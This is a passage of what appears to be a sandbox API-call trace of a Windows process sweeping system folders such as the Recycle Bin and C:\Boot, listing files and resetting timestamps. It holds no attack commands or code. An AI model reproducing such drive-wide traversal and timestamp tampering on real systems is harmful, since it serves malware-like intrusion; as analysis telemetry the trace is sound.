nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0039.366] GetLastError () returned 0x12 [0039.366] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0039.366] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.366] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.366] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0039.366] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0039.366] GetLastError () returned 0x12 [0039.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4958) returned 1 [0039.366] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0039.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4a60) returned 1 [0039.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4850) returned 1 [0039.367] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0039.367] GetLastError () returned 0x12 [0039.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0039.367] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f7a8) returned 1 [0039.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.367] FindNextFileW (in: hFindFile=0x2e8fc0, lpFindFileData=0x119fa34 | out: lpFindFileData=0x119fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Boot", cAlternateFileName="")) returned 1 [0039.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.367] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0x119f930 | out: lpFileInformation=0x119f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0039.367] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.367] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f974, lpLastWriteTime=0x119f974) returned 0 [0039.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.367] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f9cc, lpOverlapped=0x0) returned 0 [0039.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.367] NtClose (Handle=0x15c) returned 0x0 [0039.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f148) returned 1 [0039.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f148 [0039.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0039.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0039.367] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e8f40 [0039.368] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.368] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x94ddb0 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f610 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x94ddd0 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f588 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x94ddf0 [0039.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f500 [0039.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.368] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4850 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f478 [0039.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4870 [0039.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f3f0 [0039.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0039.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0039.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0039.370] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, 